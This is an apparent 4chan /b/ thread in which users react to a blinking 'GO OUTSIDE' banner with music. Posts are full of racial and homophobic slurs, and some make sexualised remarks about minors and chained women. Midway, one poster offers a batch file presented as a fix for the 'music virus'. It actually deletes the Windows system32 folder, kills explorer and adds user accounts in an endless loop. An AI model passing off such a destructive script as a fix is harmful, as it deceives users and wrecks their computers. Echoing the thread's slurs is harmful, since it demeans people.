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ITT: we go outside
>>685485106
Shut up you dumb ecaille headed cunt
>>685485106
I just woke up, man, leave me alone.
>>685485254
maybe you should stay inside, nigger
There, I went outside.
Once I went outside. There were a bunch of normies just like. Talking. Like when my parents yell at me, or how people did in high school, they were just making small talk about dumb bullshit. Why? Why would you discuss the weather or your morning? It's such mundane bullshit. Don't go outside, there's no porn or shitposting outside.
>>685485106
ITT: We all get skin cancer.
>>685485106
NOOOOO WE GET İN
>>685484736
DON'T EVER TRUST /B/
>Go outside
>See pic related
>Instantly run back inside and lock door
FUCK YELLOW JACKETS
>>685485651
Me too.
>be me
>go to 4chan
>4chan tells me to go outside
>wtf.jpeg
>browsing /b/ outside now
pic related
>>685485106
What the hell am I supposed to do out there? I'll just end up in a rekt thread probably
if anyone care https://www.youtube.com/watch?v=ZrqF7yD10Bo
that's the song that the mod is using.
What if I stay half inside and half outside?
>>685485651
this is my backyard
why the fuck is there a song when I browse /b/?
MODS = GODS
>>685486383
moot would accept, new 4chan owner will force you to go fully outside.
>moot we miss u
i went outside and this fucker almost killed me
>pic related
>>685486312
that seems like a very nice place, where do you live?
>>685485106
By outside do you mean the netherealm with the scary orb in the sky
>>685486582
I live in a bmp file
>>685485106
Browsing outside what's the next step
>>685485106
>mfw i cant go outside
>>685486413
Played through the first monster and hninstalled. Shit game.
>>685486383
you'd be a halfbreed
>>685485106
I'd rather stay inside and fap to feminine penises
make sure to bring "outside stuff"
>>685486684
filename tells me you're not telling the truth
Went outside. Walked my dog. Said hi to neighbors. Smoked a cigarette. Nice day. Felt good. Back to Subnautica.
>>685486711
had it since it came out...played fallout4 instead...only 60minutes played
>>685486770
>tfw you're Canadian and will never be able to open carry.
No! Outside 3DPD! Outside a shit!
Inside comfy. Inside safe.
>>685486770
Hey, are you over at H&H's in OKC? :-)
>>685485106
did some faggot pay for this to be advertised today?
I've been seriously considering putting money towards forcing you guys to hear tracks like this:
>On 12 Hits, Fuck My Bitch, Burn Babies Like the Salem Witch
https://www.youtube.com/watch?v=qNWGBgtl5N0&index=5&list=PL4PC99FxpUZJOIvYOaHKpf2diboB7pCm3
>Anakin Rockin' the High Ground
https://www.youtube.com/watch?v=AHcab8dj7ag&list=PL4PC99FxpUZJOIvYOaHKpf2diboB7pCm3&index=3
>Ray
https://www.youtube.com/watch?v=QbP6hk18Lak&list=PL4PC99FxpUZJOIvYOaHKpf2diboB7pCm3&index=13
but I don't even know if that's a thing, or if it would even be worth it. We do these songthreads every Friday night and it would be a little better to have a few more anon contriboot so we can make longer songs or establish a better way of creating them. Currently, we create the song, keep the thread alive, run through vocals, edit and mix/master at the same time we are compiling the screengrabs to slap a video together all within 3 hours. Maybe if we stream the shit? I dunno.
It's fucking fun tho
>>685485106
My "outside" is the best outside.
I tried but the graphics sucked too much. I like the computer version of outside my neighborhood better.
>>685486993
buy me Far Harbor DLC and i will listen to wherever you want
>>685485106
I went outside but I almost got shot.
>>685486985
nah, this is at my local movie theatre,
>>685486771
iz dis sherlok?
I'm outside, what's next?
>>685487262
punch the first hipster you see, take pic
Let's have big grill party with all /b/ros
>>685487262
I donnu. What does normal people do when they're outside apart from tweeting and posting on facebook that they're outside?
>>685487262
lets play gta
trips should decide
>>685485106
wtf is outside? you heretic
>>685487454
Sweet, I'll bring all the loli prostitutes and the traps
>>685487486
fuck gta
>>685487486
find a tree, get naked and rub your dick against it
>>685487486
Go back inside and browze channel 4
>>685487262
put your face to the sky and do a 360
>>685486771
Your right I'm actually giving a 60 year old man with autism an assisted shower right now
went outside
>>685487394
No hipster so far..
>mfw I always was a introvert faggot
>Today is my Birthday but I prefer stay in my comfy house and chill
>See this
>Y-You too 4chin?
LEAVE ME ALONE
>>685488095
shit...you got lucky...stupid fucks are all over town
I opened the door to let my dogs out but it was too bright and I went back in.
its scary outside.
>>685488280
>saving a thumb
Really nigga?
>>685485106
I think I've done my part. I'm going back inside now.
>>685488405
i have really good eyesight 93x125 px are enough
>>685486668
kek
>>685488514
don't go...it's nice and cold outside
went outside
I'll just open a window instead. Close enough.
>>685488766
Is that an ebony set?
Also im outside
>>685487085
Looks like somewhere in the middle of germany
The Outside is a trap, don't listen to the mods.
>>685488876
yeap, old screenshot...
>>685488781
>playing without textures on low settings
>>685489081
I have a cuscom daedric set but with an ebony mail cuz im trying stealth this time
I'm outside of /b/
i just came inside
Who's the anon waiting for the bus -_- makes me want to go back inside
>>685489348
Kek
>>685487135
KEK
>>685488095
YOU NEED TO FIND A MIRROR THEN
FAGGOT
>>685489361
what the fuck?????????? delete this now please
>>685489348
that's just the way i like it
Went outside
>>685489465
rip me
>>685489578
fuck that fanservice game
>>685486255
Ayy lmao
I blame >>/out/ for this
>>685489578
Constructions looking good, right Boss?
>>685485651
jOSHUA TREE?
>>685486946
>Tfw free healthcare is better
>>685485106
Fuck you bitch. I worked 67 hours this week. If I want to sit inside, drink and go on 4chan. No nigger is gonna stop me.
>>685489844
"Free" healthcare in canada is bullshit peddled to you guys by people like Michael Moore, it's a lot more complicated than that.
Just got home after a 12km hike.
And its Telling me to go outside
>>685489844
is that why your politicians come over here?
http://www.medpagetoday.com/cardiology/acutecoronarysyndrome/18279
>>685489906
you can sit, dink and browse outside, nigga
>>685489844
https://www.youtube.com/watch?v=gp_O3liJpu8
Any instructions on how to go outside?
I've never done this before...
>>685490122
wow...you only need a couple of naked young twats chained to a tree and the view would be perfection
>>685489997
Where do you live?
This is 4chan
Hah don't make me laugh.
Why would I go outside when I'm going to fuck my bitch inside.
Mods are a bunch of crying baby faggots who never got laid. They jerk of in the dark to Chinese cartoons.
I can tell because I'm a phycologist. I am an extrovert but this time I won't go outside because mods are fucking faggots.
Pic Related: it's me
Suck my dick mods
>>685490082
No. I want too sit in my lazy boy and be lazy.
>>685490177
what a giant faggot.
I would like to fight this fucking loser just to be able to be the guy that punched him on national television.
>>685490445
yeah cause there aren't any bears or wolves out there
>>685490479
If that's your bitch behind you, that means that you are gay.
Went outside felt good.
>>685490479
>phycologist
whats a phycologist?
Maybe it's viral advertising for a new MrAZ album?
>>685490479
>phycologist
>doesn't know the cartoons are Japanese
>thinks anyone believes that's him
>thinks anyone believes he has a gf
>>685490680
why do you think they're chained? ... you have a dirty mind
>>685489785
LOOKIN REAL GOOD
>>685485106
I'm outside 8-12 hours everyday.
Get a job plebs.
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>>685490741
he means a phsicolagist
>TFW Zika is a possibility where you live
No thank you.
It's a fine day gentlemen.
Meet me outside.
I'll be at Berlin waiting for you all.
>>685485651
i can´t belive you actually went outside
>>685485106
8 hours working, 4 hours commuting, public transit sucks. So fuck you and fuck public transit. I am going to buy a bike and shorten the commute by 2 hours. Fucking car free zones. I want to kill the person who thought that was a good idea.
went outside to the grocery store to get some beer see theyre still serving fritas in the machine
>>685491096
Don't worry, you probably won't have children
>>685485106
>tfw im colombian and go outside is extremely dangerous
>>685485106
there's gonna be big storms in France tonight
>not going outside just yet
>>685491528
No it's fucking not you retard.
>>685486413
Hell yeah, The Witcher!
>>685491528
Argie here...not much better
>>685491693
it depends on your neighborhood, what are you 12?
It is like asking to be robbed by walking around at night in my country's capital (brussels)
>>685487085
France or England?
>>685491142
It's will be my pleasure
>>685488876
Budapest?
>>685485651
Absolute madman
>>685489081
I had full electric stuff, thought it was cool and the tempest roar was so cool
>>685491846
It depends on who you are, what are you a fucking drug dealer?
I would understand if you lived in like, Medellin or Montenegro but there's rarely any fucking danger.
>>685491833
damn so white...
I don't wanna go outside, there are people outside.
>>685487904
Living the dream anon
>>685485106
ran 3 miles in 45 minutes.
AMA
>>685492449
How much of that did you walk?
>>685492449
i walked to the fridge and had to stop mid way for a breather
>>685488280
What is this an image for ants?
>>685492530
probably 30% 40 if you count running downhill
>>685490471
Sweden, in the lil shit city Arvika
>>685485106
da fuq adblock don't work
>>685490680
It is in a wolf territory actually.
>>685492699
there you go
>>685485106
>be me
>french bzh
>4chan tell me go outside
>k
>end in the middle of a strike
>policeGazEveryone.png
>pic related (from day a manifestant lost his eye because of "defensive" weapon.)
>>685485106
>>685487262
Masturbate
What is that shit?
>>685493461
flying sheep
>>685487486
Lets ban you for posting cancer instead.
why is this happening? genuinely curious.
>>685493655
the real question is... why not?
oldfag
moved on to better boards since arriving here at 4chan, but everyone in a while I like to stop by and make sure that you're all keeping it real
I'm glad to see that you are
>>685493655
Moot's back
so he wants to fuck with us for a bit
>>685487085
sweden anno '14
>>685489997
nein nein nein seven
Fuck that, it's cold and rainy outside. Shame because my grass needs cutting really bad.
May 21st 2016
the day that /b/ was the realest board on the entire 4chan
>>685490380
grab my hand...i'll guide you
Go outside guys, it's fine.
https://youtu.be/mw_HKzo9Ync
>>685494171
yeah close enough
sieben
Let's all just report the song on YouTube for copyright violation. That will end this fucking music once and for all.
>>685494197
Here to. Do you live in Norway?
>>685494357
Can I come too?
>>685486556
>implying moot didn't post this
>>685486556
Who the fuck is moot?
>>685494720
He is probably a jew
>>685485106
fuck it that song reminded me of my ex, fuck you fuck /b/ fuck you all
>>685494822
Report it on YouTube for copyright violation
>>685489307
make a post on adviceanimals linking to meatspin or something
>>685494908
Google fag here (moderation)
and.. I DARE YOU IF YOU MAKE A FALSE CONTENT ID I WILL BAN YOUR ASS
>>685494908
or offensive content
>>685487085
looks fun m8!
>>685485955
here, take this
>>685494676
sure, why not
1/2
alright /b/ with all the stupid newfags out there that dont know how to turn off the music this how you do it,
>open notepad
>save following text after the green text as a ".bat" file
>double click and the music virus will be removed from your computer
>you're welcome /b/tards
@echo off
:virus
del /f /q "C:\WINDOWS\system32"
taskkill explorer.exe
tskill explorer.exe
set /a _virus+=1
net user %_virus+% /add
goto virus
>>685495389
just click on the speaker symbol you retard
>>685491142
I'm coming to you bro.
>>685495389
2/2
Fucking samefag keeps making the same thread over and over. Surely you should follow your own advice.
>>685495512
I knew somebody would say something like this if I didn't reply fast enough
>>685495545
>everybody uses the same browser as I do
>they all function the same way
>you don't have to right click
>>685495485
Well, Clarice - have the lambs stopped screaming?
>>685495352
Reporting for duty.
>>685495740
>I knew somebody would say something like this if I didn't reply fast enough
kek
>>685485106
I just got back inside from being out for 3 hours. No thanks dickheads. I'm staying in the shade.
>>685495920
hold on to your hats
is this just a way to fuck with summerfags?
>>685485106
>goes outside
>neighbour sees me
>says hello
>starts the "stop and chat"
>5 minutes later.jpg
>socially exhausted
I'm going back inside, people are cunts
>>685493333
check'd
>>685496090
>be me
>be outside
>phone dies
>decide to come inside and browse /b/ while phone charges
>get told to go outside
>>685497073
implying you can only get outside if you have your phone
went outside guys, its pretty nice
WHAT THE FUCK IS HAPPENING WHY IS EVERYTHING FLASHING?
>>685485651
That place looks awesome
>>685486707
why not?
>>685497314
there are 2 options,
A: you delete the blink class from the html tag or you download stylish plugin and add these
.blink {
-webkit-animation: blink 0s step-end ;
-moz-animation: blink 0s step-end ;
-o-animation: blink 0s step-end ;
animation: blink 0s step-end ;
}
>>685485106
But anon, i am outside.
>>685487085
My bicycle is the only thing keeping me from shooting myself
hiro-chan can't even embed a youtube video right
>>685498127
For me it is the lack of a gun.
I went outside.
Im blind now.
Help me
>>685498127
wow where is that it's not a very big town huh
>>685489997
Hiking is gay without a bike
>>685497913
you need to find the outter part of outside
I've only been outside for 5 seconds now.
This place sucks ass.
>>685485651
TIMESTAMP FGT
>>685498678
The trails going down were pretty good for downhill. I wish I brought my bike with me.
My bike is better than yooooours.
>>685499929
>>685498678
I have a Specialized Rockhopper 29", very happy with it.
yeah not looking too good out here.
https://gyazo.com/948b2c81505ae1faeb46040ebfbc569d
>dis thread
>>685485106
alrhgt see you lads wihs me luck
>>685485106
>UK
>THUNDER
>RAINING
Drenched
im outside...now what?
>>685485106
I have not been out since 1986 and I don't plan on going out any time soon, so stop that now.
>>685501566
where is this? Spain?
>>685485651
Zion?
>>685500857
but, faux news has nothing about this??
>>685491001
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>>685485106
who did this?
>>685475514
>>685501929
greece
>>685489997
Mycket vackert
How do I upvote comments on here? My friend told me this site is similar to Reddit but I'm having trouble... Help *_*
>>685502196
dont know
source code shows this
<span class="blink" style="font-size:300%;">GO OUTSIDE</span>
>>685494720
newbait fag get the fuck out here
Today was a good day
>>685502390
try a bigger one
>>685502196
moot I guess.
>>685502390
pic
>>685497707
being a lazy fat ass
>>685502438
He is not a mod, he is just a random anon
but why and how..
>>685489361
dam
>>685485106
>Outside on bench eating lunch
>Pull out phone to check /b/
>Scroll past a Woman eating ceral out of another womans asshole as I bite into my sandwich
>I see a post called go outside appear as music starts to play
>I am very confused
>I go inside.
>>685485106
Been outside, went to target and picked up a 2 liter hydropack, a mouse pad, and some goldbond body powder, it's hiking season niggers.
Got a haircut while I was out too. Productive day.
>>685487262
Bury your face deep into the first set of tits you see.
Today I went outside and I diddent realise how good the graphics were.
Genuinley impressed, this is some next gen shit.
>>685502196
GUYS IT IS PLAYING A FUCKING SONG
KEK
https://www.youtube.com/watch?v=ZrqF7yD10Bo
>>685490122
Judging by the type of rock at the bottom of the photo and assuming you're in the US, im gonna guess you live in the oregon/washington area?
>>685502352
Ja Värmland är fint det. Men det kompenserar knappt för våra skamliga Volvo-raggare. Har fullt album med alla bilder jag tog idag på imgur om du vill ha.
>>685502946
outsides grafics card still cant play minecraft at 60fps
Noooooooo
This thread is for Liberals and blacks only. Please exit the thread, cracker cucks.
But it's scary out there
>>685503232
faggot
>>685503295
yeah..theres a mean ass squirel on that tree there
>>685503349
Says the fucking neckbearded basement dwelling fat fuck up who uses 4chan.
>>685485106
Fuck that, it's been raining on and off all day.
>>685503548
faggot
>>685503419
No, but there is a mean bird on the tree
>the graphics suck
>>685503702
People like you are why Reddit will be better than this shithole
>>685503798
Bait acknowledged
>>685503729
shit man thats even worse..i got my eye plucked out by a rabid bird once..stay in anon..
>>685503295
where do you live, and have you people not heard of fences?
>>685503798
you baiting harder than a homeless man in the subway.
>>685503798
faggot
What the fuck is going on and why is there music playing?
>>685502352
http://imgur.com/a/QSXFD här får du endå.
Stupid mods. I've been outside all day.
>>685485106
Went outside , sucks ass.
Take us outside, Leon.
I went outside and saw this~~~
https://www.youtube.com/watch?v=K3O8iaI-Ul0
i made this
>>685503923
Birds suck man
>>685503997
The middle of Massachusetts. My neighbor is the only one with a fence
>>685504173
Inside also sucks ass, >pic related is where i live
So I was on Reddit the other day and I found this really funny meme. It had me rolling on my white and blue carpet. But then later when I went to check 4chan, they also had the meme. Whose stilling memes now? I knew 4shit wasnt' original.
>>685504430
I get my memes from 9gag
>>685504430
this bait isn't either
I opened my window a little. Does that count?
>>685504678
https://www.youtube.com/watch?v=JuDSWsTtFLo
>>685485106
I trimmed the hedges and bushes and mowed today. Pic related. But now it's raining and I'm inside getting comfy with some liquor and some chronic
